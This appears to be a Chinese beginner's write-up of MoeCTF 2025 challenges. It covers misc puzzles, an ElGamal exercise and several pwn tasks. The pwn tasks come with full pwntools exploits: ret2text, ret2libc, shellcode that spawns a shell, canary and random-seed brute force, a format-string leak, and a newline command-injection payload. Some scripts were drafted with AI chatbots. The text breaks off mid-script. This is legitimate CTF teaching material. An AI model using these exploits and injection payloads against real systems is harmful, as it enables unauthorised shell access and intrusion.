Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. 

解码地址:Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online.

moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}

万里挑一


要想冲破封锁,寻得真谛,须从万把钥匙中找出唯一的答案


这题涉及明文攻击,这题我没做出来,考察脚本编写和明文爆破,用递归方式打开压缩包password.zip,获取密码,然后尝试解压lock.zip参考复现别人的python脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import zipfile
import io
 
# 保存密码的文件
output_file = "pass.txt"
 
# 递归函数,用于处理嵌套zip
def extract_passwords(zip_bytes, level=1):
    passwords = []
    with zipfile.ZipFile(io.BytesIO(zip_bytes)) as z:
        for name in z.namelist():
            if name.endswith(".zip"):
                # 读取子zip文件的二进制内容
                sub_zip_bytes = z.read(name)
                # 递归调用
                passwords.extend(extract_passwords(sub_zip_bytes, level + 1))
            elif name.endswith("pwd.txt"):
                content = z.read(name).decode('utf-8').strip()
                # 提取密码部分
                if "The password is:" in content:
                    pwd = content.split("The password is:")[1].strip()
                    passwords.append(pwd)
    return passwords
 
# 主程序
if __name__ == "__main__":
    all_passwords = []
    with open("password.zip", "rb") as f:
        zip_bytes = f.read()
        all_passwords = extract_passwords(zip_bytes)
 
    # 保存到文件
    with open(output_file, "w") as f:
        for pwd in all_passwords:
            f.write(pwd + "\n")
 
    print(f"已提取 {len(all_passwords)} 个密码到 {output_file}")

爆破后得出密码是a296a5ec1385f394e8cb

…这题MISC太难了…/(ㄒoㄒ)/~~[MoeCTF 2025]《Misc 万里挑一》题解——记录一道有趣的题目 | 酸枝论坛

moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}

ez_png


这张平平无奇的图片里藏着一个小秘密。

秘密不在颜色中,而在文件的骨骼里。

注意:某些数据段的长短似乎不太协调。


第一种方法(答案复现)

ez_png

题目已经有提示了,用010editor和TweakPNG工具分析看看吧:

使用 TweakPNG 发现倒数第二个 IDAT 块没填满就创建了个新的 IDAT 块,且新的块长度很小。

很明显这应该是人为非法注入的。

使用 010 Editor 提取这个 IDAT 块的 data 部分,使用如下脚本解压。

1
2
3
4
5
6
7
import binascii
import zlib
formatted_hex = "78 9C CB CD 4F 4D 2E 49 AB CE 30 74 49 71 CD 8B 0F 30 89 CC F1 4F 74 89 F7 F4 D3 F5 4C 31 09 A9 05 00 A8 D0 0A 5F"
compressed_hex = formatted_hex.replace(" ", "")
compressed_data = binascii.unhexlify(compressed_hex)
depressed_data = zlib.decompress(compressed_data)
print("Decompressed Data:", depressed_data.decode())

第二种办法就是binwalk提取,我一开始试了一试,没想到真出来了,我还以为是非预期解呢。

moectf{h1DdEn_P4YlOaD_IN-Id4T}

我的杂项就只会这么多了,剩下的我是真不会了,转PWN了太久没搞杂项了有点生疏了。

密码学

crypto_in_ctfru_men_zhi_bei_-moectf2025.pdf

这是密码学的签到题,请阅读密码学入门指北,开启密码学的旅途吧!


直接给官方WP版本的脚本吧,太简单了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from Crypto.Util.number import long_to_bytes

p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863
c1 = 6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863
c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983
x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214

# 解密计算
s = pow(c1, x, p)  # 计算共享秘密
s_inv = pow(s, -1, p)  # 计算s的模逆
m = (c2 * s_inv) % p  # 计算明文

# 转换为字节并输出
flag = long_to_bytes(m)
print(flag.decode())

根据提供的 ElGamal 加密参数和解密过程,直接计算即可得到 flag。以下是计算结果:

通过执行解密步骤:

  1. 计算共享秘密 s = pow(c1, x, p)
  2. 计算明文 m = (c2 * pow(s, -1, p)) % p
  3. m 转换为字节流

最终得到的 flag 为:

moectf{th1s_1s_y0ur_f1rst_ElG@m@l}

二进制漏洞审计

pwn_tutorial.pdf

二进制漏洞审计入门指北


这里是 MoeCTF 2025 Pwn。在真正开始 Pwn 之前,我们先来实操一下 Pwntools。

第一个附件是 Pwn 入门指北,有较完整的 Pwn 入门学习路线和 Pwn 环境配置方法。

第二个附件是本题程序,连接远程环境后就能与它交互。请在自己的电脑上配置好 Pwn 环境然后尝试运行下面的解题脚本获取 flag。(还需要一些修改)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。

# io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect(???, ???)              # 与在线环境交互。
io.sendline(b'114511')              # 什么时候用 send 什么时候用 sendline?

payload  = p32(0xdeadbeef)          # p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
                                    # 你看懂原程序这里的检查逻辑了吗?
payload += b'shuijiangui'           # strcmp

io.sendafter(b'password.', payload) # 发送!通过所有的检查。

io.interactive()                    # 手动接收 flag。

直接套这个exp就好,改下IP和端口号:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。

# io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect("192.168.149.1", 6280)              # 与在线环境交互。
io.sendline(b'114511')              # 什么时候用 send 什么时候用 sendline?

payload  = p32(0xdeadbeef)          # p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
                                    # 你看懂原程序这里的检查逻辑了吗?
payload += b'shuijiangui'           # strcmp

io.sendafter(b'password.', payload) # 发送!通过所有的检查。

io.interactive()                    # 手动接收 flag。

类似这样的结果:

flag是动态的请不要乱套我这个噢(*^_^*)

1 ez_u64


字节流是一种常见的数据表示形式,用于存储、传输和处理各种类型的数据。我们不妨试试用pwntools中的u64,p64,u32,p32将特定大小的字节流与整数相互转换。

和入门指北题一样,这也是一道 Pwntools 练习题。只是这次轮到你自己来写脚本了。


IDA分析函数:

write函数将num真实值打印出来,然后就需要接收,再通过scanf返回给程序,(v1==num)比较正确就能执行后门函数。

exp:

1
2
3
4
5
6
7
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.149.1',46404)
io.recvuntil('hint.')
payload = u64(io.recv(8).ljust(8, b'\x00'))
io.sendlineafter('>',str(payload))
io.interactive()

这个payload = u64(io.recv(8).ljust(8, b’\x00’)),我加了ljust比较严谨一点,日后这是一个好习惯(*^_^*)!!!

1 find it


fd(文件描述符)是什么?希望你能在本题中了解fd有什么用,又是如何分配的。


初始fd:0,1,2分配给了stdin,stdout,stderr。新的stdout从3开始分配。open flag后,由于关闭了1,flag会被分配到1。依次输入3,./flag,1即可。

2 EZtext


劫持程序的执行流是我们在 Pwn 中经常要做的事情,首先你需要了解一下程序的调用栈的结构,然后理解为什么我们能通过栈上缓冲区溢出来劫持控制流。再次强推我们写的 Pwn 入门指北好吗!把指北都读一遍,你会了解不少东西以及在这道题要踩的一个经典的坑。

ROP 是 Pwn 中使用频率非常高的一个利用手段,而本题 ret2text 正是典型的 ROP,看一看 CTFWiki 和入门指北(入门指北中有 ret2text 实例),然后开启你的 ROP 挑战吧!


checksec看一下:

checksec查看保护信息

居然没开canary保护,可以用栈溢出进行ret2text。

找到了一个后门函数:

地址:0x4011B6

查看main函数:

scanf等你输入一个数,这个数存进v4内,然后带进overflow内当参数,并且这个数还是作为限制你后面注入payload的长度的值。

跟进overflow函数:

我们需要让a1大于7从才能执行read函数,读取我们的payload,并且长度要够,那我们设定40吧,scanf要我们输入的时候就注入40吧。

这个buf的地址在rbp之下的0x8的位置,也就是说缓冲区是0x8,再加上覆盖rbp本身所需的8字节大小,总共就是要0x16大小。

ret:0x000000000040101a

这是64位程序完事后,记得栈平衡啊。

exp(python3):

1
2
3
4
5
6
7
8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.149.1',25708)
ret = 0x40101a
io.sendline(b'40')
payload = 16 * b'a' + p64(ret) + p64(0x4011B6)
io.sendline(payload)
io.interactive()

2 ezshellcode


由于直接向程序注入任意机器码(shellcode)比ROP这样的代码重用攻击灵活得多,我们时常只通过ROP构造注入shellcode的机会,然后劫持控制流执行shellcode。那么为了执行它我们需要怎么做呢?在这个题里你将得到答案。

注意一下pwntools的context设置,因为最后你大概会通过pwntools的asm函数来汇编shellcode,此时asm会根据context中arch字段决定shellcode的架构。另外,pwntools中还给了我们一个shellcode神器——shellcraft,请去了解下怎么使用。


checksec看到程序是64位保护全开的。

IDA64位分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+0h] [rbp-20h] BYREF
  int prot; // [rsp+4h] [rbp-1Ch]
  int v6; // [rsp+8h] [rbp-18h]
  int v7; // [rsp+Ch] [rbp-14h]
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v9; // [rsp+18h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  init(argc, argv, envp);
  s = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  if ( s == (void *)-1LL )
  {
    perror("mmap");
    return 1;
  }
  memset(s, 0, 0x1000uLL);
  v6 = 0;
  prot = 0;
  puts("In a ret2text exploit, we can use code in the .text segment.");
  puts("But now, there is no 'system' function available there.");
  puts("How can you get the flag now? Perhaps you should use shellcode.");
  puts("But what is shellcode? What can you do with it? And how can you use it?");
  puts("I will give you some choices. Choose wisely!");
  __isoc99_scanf("%d", &v4);
  do
    v7 = getchar();
  while ( v7 != 10 && v7 != -1 );
  if ( v4 == 4 )
  {
    if ( v6 == 1 )
      puts("You can only make one change!");
    prot = 7;
    v6 = 1;
  }
  else
  {
    if ( v4 > 4 )
      goto LABEL_24;
    switch ( v4 )
    {
      case 3:
        if ( v6 == 1 )
          puts("You can only make one change!");
        prot = 4;
        v6 = 1;
        break;
      case 1:
        if ( v6 == 1 )
          puts("You can only make one change!");
        prot = 1;
        v6 = 1;
        break;
      case 2:
        if ( v6 == 1 )
          puts("You can only make one change!");
        prot = 3;
        v6 = 1;
        break;
      default:
LABEL_24:
        puts("Invalid choice. The space remains in its chaotic state.");
        exit(1);
    }
  }
  if ( mprotect(s, 0x1000uLL, prot) == -1 )
  {
    perror("mprotect");
    exit(1);
  }
  puts("\nYou have now changed the permissions of the shellcode area.");
  puts("If you can't input your shellcode, think about the permissions you just set.");
  read(0, s, 0x1000uLL);
  ((void (*)(void))s)();
  return 0;
}

在main函数最底下我们看到了:

1
2
  read(0, s, 0x1000uLL);
  ((void (*)(void))s)();

这里的意思是读取0x1000ull长度的shellcode去执行,这里其实是一个很大的漏洞。

其实看main函数的话,仔细点阅读理解你就发现其实这题没那么可怕O(∩_∩)O…前面的几乎是废话来的(说直白点…)只要scanf执行时,v4被赋值成4就完事顺利了。

然后就写能getshell的shellcode,exp:

1
2
3
4
5
6
7
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.149.1',34347)
shellcode = asm(shellcraft.sh())
io.sendlineafter('I will give you some choices. Choose wisely!',str(4))
io.sendlineafter('think about the permissions you just set.',shellcode)
io.interactive()

3 认识libc


这一次你没有了 backdoor 函数,程序也没有用到类似 system 的函数,那么你将如何 getshell 呢?此时就要从 libc 中寻找答案了。你知道达成什么样的条件才能 ret2libc 吗?我给了你一个钥匙,试着使用它吧!

在这道题,你需要对二进制文件执行 patchelf,我在指北中已经为你描述了如何 patch,为什么要 patch。祝你玩的愉快!


checksec:

64位只开了NX保护。

IDA64分析:

main函数

vuln函数

没有直接给东西你后入,只能构造后门,既然题目有提示,那就不多说开始ret2libc手法(●’◡’●)

main函数泄露了printf地址,可以用基地址(libc_base) = 函数当前地址 - libc库的该函数的偏移量

这里我尝试了几次,发现printf地址都是随机(地址随机化布局保护)且都是14位数字,那我们在编写payload可以注意一下长度不要接收多余字符噢。

然后借此得出libc_base基地址,就可以反推出system函数在此程序的真实地址了,构造出后门函数。

泄露地址:

1
2
3
4
5
libc = ELF("./libc.so.6")
io.recvuntil(b'A gift of forbidden knowledge, the location of \'printf\': ')
printf = int(io.recv(14),16)
libc_base = printf - libc.sym['printf']
system = libc_base + libc.sym['system']

因为这是64位程序,参数传递是靠寄存器的,还得进行ROP攻击链构造,给system传参需要rdi

ROPgadget查询:(0x000000000002a3e5 : pop rdi ; ret)

1
ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi

这里用libc去查pop rdi ; ret的原因是在那个程序查不到这个单独含rdi的gadget:

这个就比较杂了,我直接用libc的gadget偏移量去反推出在这个程序里面的gadget的地址就好了,调用也方便。

ret:0x000000000040101a

exp(python3):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.149.1',44080)
libc = ELF('./libc.so.6')
io.recvuntil('A gift of forbidden knowledge, the location of \'printf\': ')
printf = int(io.recv(14),16)
libc_base = printf - libc.sym['printf']
system = libc_base + libc.sym['system']
pop_rdi_ret = 0x000000000002a3e5 + libc_base
ret = 0x000000000040101a
binsh = next(libc.search('/bin/sh\x00')) + libc_base
payload = cyclic(0x40 + 8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter('> ',payload)
io.interactive()

boom


本题原分值 200 pts(另见 boom_revenge

你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?

你可能需要使用 Python ctypes 包来直接调用 C 库函数。

本题解法与时间有关,如果你出现本地能通远程不通的情况,请多试几次。


checksec:

IDA分析:

win函数:

地址:0x401276

main函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[124]; // [rsp+0h] [rbp-90h] BYREF
  int v5; // [rsp+7Ch] [rbp-14h]
  int v6; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("Welcome to Secret Message Book!");
  puts("Do you want to brute-force this system? (y/n)");
  fgets(&brute_choice, 8, stdin);
  v6 = 0;
  if ( brute_choice == 121 || brute_choice == 89 )
  {
    v6 = 1;
    canary = (int)random() % 114514;
    v5 = canary;
    puts("waiting...");
    sleep(1u);
    puts("boom!");
    puts("Brute-force mode enabled! Security on.");
  }
  else
  {
    puts("Normal mode. No overflow allowed.");
  }
  printf("Enter your message: ");
  if ( v6 )
    gets(s);
  else
    fgets(s, 128, stdin);
  if ( v6 && v5 != canary )
  {
    puts("Security check failed!");
    exit(1);
  }
  puts("Message received.");
  return 0;
}

这里有个静态的canary,要绕过这段代码中的静态 Canary 检查,需利用 栈溢出漏洞 + Canary 泄漏与重写 的思路。

代码中存在两个关键分支:

当用户选择 brute-force 模式(输入 y 或 Y)时,程序会生成一个随机 Canary(canary = random() % 114514),并通过 gets(s) 读取输入(gets 存在栈溢出漏洞,可读取任意长度输入);

最后通过v5 != canary检查 Canary 是否被篡改,若不一致则程序退出。

好,接下来来了解一下canary是怎么运作的,进行检查栈溢出的原理是什么。

Canary 位于缓冲区和返回地址之间:以题目中的栈布局为例,Canary 位于 s 缓冲区末尾之后、返回地址之前,形成 “缓冲区 → Canary → 返回地址” 的防护链。这样设计的目的是:若攻击者试图通过缓冲区溢出覆盖返回地址,必须先覆盖 Canary,从而触发校验。

要注意的是,canary是int 32位的噢:

也就是说需要满足canary校验就可以,多次上传payload,爆破canary的值,只要有一次校验通过就能getshell。

大致exp框架:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from ctypes import CDLL, cdll
import time
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.149.1',)
getshell = 0x401276
ret = 0x000000000040101a
...

io.recvuntil(b'Do you want to brute-force this system? (y/n)')
io.sendline(b'y')
io.recvuntil(b'Enter your message: ')
payload = (cyclic(124) + p32(canary)).ljust(0x90,b'\x00') + p64(ret) + p64(getshell)
io.interactive()

其实到这里我也不会了,需要借助AI了,对话1:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
可能需要使用 Python ctypes 包来直接调用 C 库函数。
main函数C伪代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[124]; // [rsp+0h] [rbp-90h] BYREF
  int v5; // [rsp+7Ch] [rbp-14h]
  int v6; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("Welcome to Secret Message Book!");
  puts("Do you want to brute-force this system? (y/n)");
  fgets(&brute_choice, 8, stdin);
  v6 = 0;
  if ( brute_choice == 121 || brute_choice == 89 )
  {
    v6 = 1;
    canary = (int)random() % 114514;
    v5 = canary;
    puts("waiting...");
    sleep(1u);
    puts("boom!");
    puts("Brute-force mode enabled! Security on.");
  }
  else
  {
    puts("Normal mode. No overflow allowed.");
  }
  printf("Enter your message: ");
  if ( v6 )
    gets(s);
  else
    fgets(s, 128, stdin);
  if ( v6 && v5 != canary )
  {
    puts("Security check failed!");
    exit(1);
  }
  puts("Message received.");
  return 0;
}
怎么爆破canary,绕过检查,这是我的大致exp框架:

对话2:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
exp:
from ctypes import CDLL, cdll
import time
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
io = remote('192.168.149.1',)
getshell = 0x401276
ret = 0x000000000040101a
...

io.recvuntil(b'Do you want to brute-force this system? (y/n)')
io.sendline(b'y')
io.recvuntil(b'Enter your message: ')
payload = (cyclic(124) + p32(canary)).ljust(0x90,b'\x00') + p64(ret) + p64(getshell)
io.interactive()


现在就差爆破canary,我的思路是有一个循环语句让payload一直循环连接io然后不停尝试栈溢出到canary值,canary值一直尝试,直到能绕过检查getshell,以下是IDA中的C伪代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[124]; // [rsp+0h] [rbp-90h] BYREF
  int v5; // [rsp+7Ch] [rbp-14h]
  int v6; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("Welcome to Secret Message Book!");
  puts("Do you want to brute-force this system? (y/n)");
  fgets(&brute_choice, 8, stdin);
  v6 = 0;
  if ( brute_choice == 121 || brute_choice == 89 )
  {
    v6 = 1;
    canary = (int)random() % 114514;
    v5 = canary;
    puts("waiting...");
    sleep(1u);
    puts("boom!");
    puts("Brute-force mode enabled! Security on.");
  }
  else
  {
    puts("Normal mode. No overflow allowed.");
  }
  printf("Enter your message: ");
  if ( v6 )
    gets(s);
  else
    fgets(s, 128, stdin);
  if ( v6 && v5 != canary )
  {
    puts("Security check failed!");
    exit(1);
  }
  puts("Message received.");
  return 0;
}

代码块不加注释,只用在外面加以解释

逻辑解释(AI解答):

  1. 种子范围确定:程序中 Canary 由random() % 114514生成,而random()的序列由seed决定。通过当前时间now及附近值(前后 5 秒)作为种子,覆盖程序启动时可能使用的种子范围。
  2. 循环尝试:对每个种子生成对应的 Canary 值,重新建立连接并发送包含该 Canary 的 payload。
  3. payload 构造:按缓冲区(124字节) + Canary(32位) + 填充至0x90长度 + ret指令(栈对齐) + getshell地址的结构构造,确保绕过 Canary 检查后跳转到目标函数。
  4. 结果判断:若发送后成功进入交互模式,说明 Canary 正确并 getshell;否则关闭连接继续尝试下一个可能值。

稍微修改一下就好。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from ctypes import CDLL
import time
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
libc = CDLL('libc.so.6')
getshell = 0x40127b
now = int(time.time())
io = remote('192.168.149.1', 4131)
io.recvuntil(b"Do you want to brute-force this system? (y/n)\n")
io.sendline(b'y')
io.recvuntil(b'Enter your message: ')
for seed in [now, now-1, now+1]:
    libc.srandom(seed)
    canary = libc.random() % 114514  
    payload = (cyclic(124) + p32(canary)).ljust(0x90,b'\x00') + p64(0) + p64(getshell) 
    io.sendline(payload)
    try:
        io.interactive()
    except:
        print(WARN_TEXT(f"[-] Canary {canary} failed,next one"))

这题给到我的压力很大,一度让我陷入自我怀疑…我在想XDCTF新生赛都这么难,感觉都涉及算法“超纲”了,在我看来这也是体现我们学习能力的一方面,及时利用AI补全,学会如何用AI补全脚本、解析代码也是一种CTFer的必不可少的一种技巧!

fmt


格式化字符串是一种在编程中用于控制输出格式的技术。在C语言中,格式化字符串通常与 printf、scanf、sprintf 等函数一起使用。

如果我们能控制格式化字符串,含有各种格式说明符(形如%s,%p),并且不提供后续参数,程序会从哪里找来一个“虚空”参数?这可能导致意想不到的结果!


checksec查看保护信息:

64位保护全开。

IDA分析:

main函数

win函数

可知win函数是后门函数。

generate函数

generate函数生成随机数。

在main函数中,

  1. 调用generate(s2, 5)生成5 字节随机数存入上的s2
  2. 调用generate(v4, 5)生成5 字节随机数存入上的v4

可知栈上存在格式化字符串漏洞generate生成的是随机数,但格式化字符串漏洞允许我们 “偷看” 这些随机数的值。只要先通过漏洞泄露s2v4,再将泄露的值作为输入提交,即可通过两次验证。

网上exp很多,但我这里分享我独特的做法只需简单和程序交互就能拿flag了,既然已经说了v4和s2会生成5字节随机数,那我们在动态调试的过程中应该是能看到的。

在终端输入gdb pwn开启调试界面(需事先安装gdb+pwndbg),给,printf断点(b printf),接着启动调试(r),出现了运行界面了:“Hey there, little one, what’s your name?”,输入八个A吧,反正随机数照样生成,第一次gdb调试只看程序的随机数生成位置就好:

找到这俩随机数的大概地址了,这时就用fmtarg命令快捷一点去找它们的格式化字符串的偏移。

那我们就可以利用printf的格式化字符串漏洞进行泄露这随机数。

可以看出后面确实是五字节随机数,前面16进制字符串,转换一下就好

分步转换与解析

步骤 1:拆分原十六进制的字节

0x67534c6551按 ** 两位一组(1 个字节)** 拆分,得到原字节顺序:0x560x420x720x530x58

步骤 2:按小端序反转字节顺序

小端序的核心是 “打印顺序与存储顺序相反”,因此反转后的字节顺序为:0x580x530x720x420x56

步骤 3:逐字节转 ASCII 字符

对照 ASCII 码表,将反转后的每个字节转换为对应字符:XSrBV

也就是XSrBV。

最终拿flag:

疑问点来了,为什么我不能用%10$s-%7$s直接把字符串打印出来?非要多一个转换ASCII的步骤?这里我们看回gdb调试界面:

核心原因是栈上第 10 位和第 7 位存储的数据类型完全不同,你用%10$s时没有输出有意义的字符串,而%10$p能取出0x5642725358这类数值,原因是栈第 10 位存储的是数据本身,而%10$p的作用是直接打印栈上该位置的数值本身,不需要访问其他内存,%10$s是多加了一步去访问对应地址的存储的东西,但是%10$p那压根没东西就是一个十六进制地址来的,那没存储东西,但它本身%10$p的地址是有意义的,你转换下就行了。

这道题巨简单,原理理解起来也简单,这里我作为一个新手角度去写WP呈现给新手们,稍微啰嗦了点😄。

inject


一般来说 Pwn challenges 都以内存损坏漏洞为主。然而 binary 程序有很多漏洞不需要内存越界读写,开再多的保护也防不住,程序员即使换用 Rust 等内存安全语言也可能犯相同的错误。这种漏洞利用起来简单,危害可能还更大?!


checksec:

64位程序保护全开。

漏洞点是 ping_host 中对用户输入 IP 地址的检查有疏漏,没有过滤换行符。用户输入换行符即可分隔命令,从而注入任意 shell 命令。

没有过滤"\n"

exp:

1
2
3
4
5
from pwn import *
io = remote('IP', port)
io.sendlineafter(b'choice: ', b'4')
io.sendafter(b'ping: ', b'\nsh #')
io.interactive()

这题和我们平常PWN题不太一样,有点和当前服务器程序安全接轨了,出的挺好的,我不太会做,跟着复现了。

randomlock


诸如rand之类的函数,生成的数列虽然看起来是随机的,但实际上是由一个确定的算法产生的,因此称为“伪随机”。那么只要种子固定,我们不就可以得到固定的数列了吗?

当然,我这道锁的种子可是经过"真随机"与"加密"两道工序,至少看起来没那么容易破解?


checksec:64位保护全开。

IDA64位分析:

main函数

woin函数

很明显win函数是一个后门函数。

initseed函数

看得我头大啊…/(ㄒoㄒ)/~~;这个是一个有随机数加密的一个“关卡”,v6 = rand() % 10000;产生v6后,再与我们输入的v4进行比较,相等才能getshell。

光看initseed();srand(seed);对于我这个新手来说也不懂,问AI吧。

Expl0rer与豆包的对话

这里作者之前在刷ctfshow的题,所以豆包有记忆,会把IP套上去了,但不影响解题,exp是对的。

豆包的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import ctypes

# 加载C标准库(Linux下)
libc = ctypes.CDLL("libc.so.6")

def get_rand_seq(seed, n=10):
    """根据seed生成10个rand()%10000的数"""
    libc.srand(seed)
    seq = []
    for _ in range(n):
        seq.append(libc.rand() % 10000)
    return seq

# 连接程序(本地/远程,根据题目调整)
# io = process("./pwn")  # 本地程序
io = remote("192.168.149.1", 7593)  # 远程服务器

# 遍历seed的所有可能值:1~100
for seed in range(1, 101):
    print(f"[+] 爆破seed: {seed}")
    # 生成当前seed对应的10个随机数
    rand_seq = get_rand_seq(seed)
    try:
        # 重新连接程序(每次爆破失败后程序会退出,需重连)
        io.close()
        # io = process("./pwn")  # 本地重连
        io = remote("192.168.149.1", 7593)  # 远程重连
        
        # 跳过程序的欢迎信息(根据实际输出调整)
        io.recvuntil("My lock looks strange—can you help me?")
        
        # 依次输入10个随机数
        for i in range(10):
            io.recvuntil(f"password {i+1}\n>")  # 匹配输入提示
            io.sendline(str(rand_seq[i]))  # 输入对应的随机数
        
        # 若通过校验,读取flag
        flag = io.recvuntil("}")  # 假设flag以}结尾
        print(f"[+] 爆破成功!seed={seed},flag={flag.decode()}")
        break
    except Exception as e:
        print(f"[-] seed={seed} 爆破失败: {e}")
        continue

io.close()

官方的exp:

可以通过gdb调试或者直接看出来seed是1(考拉兹猜想)。攻击伪随机数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='debug')
p=process('./pwn')
elf = ELF('./pwn')
lib = ctypes.CDLL('libc.so.6')
lib.randd.restype = ctypes.c_int
lib.init()
def se(ss):
    p.sendlineafter(b'>',ss)
for i in range(10):
    u=lib.randd()
    se(str(u).encode())
p.interactive()

str_check


相信你已经在指北中了解到c风格字符串以’\0’结尾的特点。学习各种字符串操作对’\0’的处理,你才能完美地利用程序中的漏洞。


checksec:

IDA64位分析:

main函数

main函数的:

1
2
3
4
  if ( !strncmp(str, "meow", 4uLL) )
    memcpy(dest, str, n);
  else
    strncpy(dest, str, n);

前面scanf叫我们输入数据赋值给str,len函数计算str的长度给到if去判断,接着strncmp函数起到了比较作用,和str对比前四个字母“meow”,如果str前四个字符是meow的话那么就指向else下的strncpy函数这里,接着strncpy函数发挥作用,strncpy(dest, str, n);将str里面的前n个值(n可以设置为100,足够我们进行栈溢出操作了😄)复制粘贴到dest中。就到这可以看出是dest有栈溢出的,我们只需要让payload前四个是meow然后继续补全到0x20,再加上ebp本身8字节、后门函数返回地址,这样就能getshell了。

这里有个问题就是len不是会计算长度吗?前面都过不了,这里我们就可以用(meow+\x00+…)去构造payload,这样子len函数一到\x00就会停止(\x00是len函数的运行的结束符号),而且此时payload也才被记作为4个长度,也同时能绕过if ( (unsigned __int64)len > 0x18 )的判断了。

exp:

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
